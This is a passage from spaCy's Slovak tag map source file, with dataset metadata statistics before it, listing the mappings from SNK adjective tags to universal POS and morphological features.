| 45.408602 | 207 | 0.527074 | 2,930 | 25,338 | 4.441297 | 0.103754 | 0.027972 | 0.031123 | 0.020979 | 0.902636 | 0.893414 | 0.891647 | 0.880965 | 0.880965 | 0.880965 | 0 | 0.00583 | 0.390718 | 25,338 | 557 | 208 | 45.490126 | 0.83709 | 0.072816 | 0 | 0.732843 | 0 | 0.088235 | 0.282916 | 0.068789 | 0 | 0 | 0.000757 | 0 | 0 | 1 | 0.004902 | false | 0 | 0.019608 | 0 | 0.046569 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
015c8cba34b6061d34eae25a7e6e51bd0dd20f50 | 151,611 | py | Python | spacy/lang/sk/tag_map.py | DarkHalfSA/spaCy | 9c08d9baa31622e9e9daff37a9774774e42d8778 | [
"MIT"
] | 2 | 2020-04-17T05:23:36.000Z | 2021-09-17T06:27:31.000Z | spacy/lang/sk/tag_map.py | DarkHalfSA/spaCy | 9c08d9baa31622e9e9daff37a9774774e42d8778 | [
"MIT"
] | 3 | 2021-06-08T21:06:32.000Z | 2022-01-13T02:22:38.000Z | spacy/lang/sk/tag_map.py | DarkHalfSA/spaCy | 9c08d9baa31622e9e9daff37a9774774e42d8778 | [
"MIT"
] | 1 | 2021-01-12T17:44:11.000Z | 2021-01-12T17:44:11.000Z | # coding: utf8
from __future__ import unicode_literals
from ...symbols import POS, AUX, PUNCT, SYM, ADJ, CCONJ, NUM, DET, ADV, ADP, X, VERB
from ...symbols import NOUN, PROPN, PART, INTJ, SPACE, PRON
# Source https://universaldependencies.org/tagset-conversion/sk-snk-uposf.html
# fmt: off
TAG_MAP = {
"AAfp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp2y": {POS: ADJ, "morph": "Case=Gen|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp2z": {POS: ADJ, "morph": "Case=Gen|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp3y": {POS: ADJ, "morph": "Case=Dat|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp3z": {POS: ADJ, "morph": "Case=Dat|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp4y": {POS: ADJ, "morph": "Case=Acc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp4z": {POS: ADJ, "morph": "Case=Acc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp5y": {POS: ADJ, "morph": "Case=Voc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp5z": {POS: ADJ, "morph": "Case=Voc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp6y": {POS: ADJ, "morph": "Case=Loc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp6z": {POS: ADJ, "morph": "Case=Loc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp7y": {POS: ADJ, "morph": "Case=Ins|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfp7z": {POS: ADJ, "morph": "Case=Ins|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Plur"},
"AAfs1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs2y": {POS: ADJ, "morph": "Case=Gen|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs2z": {POS: ADJ, "morph": "Case=Gen|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs3y": {POS: ADJ, "morph": "Case=Dat|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs3z": {POS: ADJ, "morph": "Case=Dat|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs4y": {POS: ADJ, "morph": "Case=Acc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs4z": {POS: ADJ, "morph": "Case=Acc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs5y": {POS: ADJ, "morph": "Case=Voc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs5z": {POS: ADJ, "morph": "Case=Voc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs6y": {POS: ADJ, "morph": "Case=Loc|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs6z": {POS: ADJ, "morph": "Case=Loc|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs7y": {POS: ADJ, "morph": "Case=Ins|Degree=Cmp|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAfs7z": {POS: ADJ, "morph": "Case=Ins|Degree=Sup|Gender=Fem|MorphPos=Adj|Number=Sing"},
"AAip1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip1y": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip1z": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip2y": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip2z": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip3y": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip3z": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip4y": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip4z": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip5y": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip5z": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip6y": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip6z": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip7y": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAip7z": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAis1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis1y": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis1z": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis2y": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis2z": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis3y": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis3z": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis4y": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis4z": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis5y": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis5z": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis6y": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis6z": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis7y": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAis7z": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAmp1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp1y": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp1z": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp2y": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp2z": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp3y": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp3z": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp4y": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp4z": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp5y": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp5z": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp6y": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp6z": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp7y": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAmp7z": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Plur"},
"AAms1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms1y": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms1z": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms2y": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms2z": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms3y": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms3z": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms4y": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms4z": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms5y": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms5z": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms6y": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms6z": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms7y": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Cmp|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAms7z": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Sup|Gender=Masc|MorphPos=Adj|Number=Sing"},
"AAnp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp2y": {POS: ADJ, "morph": "Case=Gen|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp2z": {POS: ADJ, "morph": "Case=Gen|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp3y": {POS: ADJ, "morph": "Case=Dat|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp3z": {POS: ADJ, "morph": "Case=Dat|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp4y": {POS: ADJ, "morph": "Case=Acc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp4z": {POS: ADJ, "morph": "Case=Acc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp5y": {POS: ADJ, "morph": "Case=Voc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp5z": {POS: ADJ, "morph": "Case=Voc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp6y": {POS: ADJ, "morph": "Case=Loc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp6z": {POS: ADJ, "morph": "Case=Loc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp7y": {POS: ADJ, "morph": "Case=Ins|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAnp7z": {POS: ADJ, "morph": "Case=Ins|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Plur"},
"AAns1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns1y": {POS: ADJ, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns1z": {POS: ADJ, "morph": "Case=Nom|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns2y": {POS: ADJ, "morph": "Case=Gen|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns2z": {POS: ADJ, "morph": "Case=Gen|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns3y": {POS: ADJ, "morph": "Case=Dat|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns3z": {POS: ADJ, "morph": "Case=Dat|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns4y": {POS: ADJ, "morph": "Case=Acc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns4z": {POS: ADJ, "morph": "Case=Acc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns5y": {POS: ADJ, "morph": "Case=Voc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns5z": {POS: ADJ, "morph": "Case=Voc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns6y": {POS: ADJ, "morph": "Case=Loc|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns6z": {POS: ADJ, "morph": "Case=Loc|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns7y": {POS: ADJ, "morph": "Case=Ins|Degree=Cmp|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AAns7z": {POS: ADJ, "morph": "Case=Ins|Degree=Sup|Gender=Neut|MorphPos=Adj|Number=Sing"},
"AFfp1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfp7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Plur"},
"AFfs1x": {POS: ADJ, "morph": "Case=Nom|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs2x": {POS: ADJ, "morph": "Case=Gen|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs3x": {POS: ADJ, "morph": "Case=Dat|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs4x": {POS: ADJ, "morph": "Case=Acc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs5x": {POS: ADJ, "morph": "Case=Voc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs6x": {POS: ADJ, "morph": "Case=Loc|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFfs7x": {POS: ADJ, "morph": "Case=Ins|Degree=Pos|Gender=Fem|MorphPos=Mix|Number=Sing"},
"AFip1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFip7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFis1x": {POS: ADJ, "morph": "Animacy=Inan|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis2x": {POS: ADJ, "morph": "Animacy=Inan|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis3x": {POS: ADJ, "morph": "Animacy=Inan|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis4x": {POS: ADJ, "morph": "Animacy=Inan|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis5x": {POS: ADJ, "morph": "Animacy=Inan|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis6x": {POS: ADJ, "morph": "Animacy=Inan|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFis7x": {POS: ADJ, "morph": "Animacy=Inan|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFmp1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp3x": {POS: ADJ, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp4x": {POS: ADJ, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp5x": {POS: ADJ, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp6x": {POS: ADJ, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFmp7x": {POS: ADJ, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Plur"},
"AFms1x": {POS: ADJ, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
"AFms2x": {POS: ADJ, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|MorphPos=Mix|Number=Sing"},
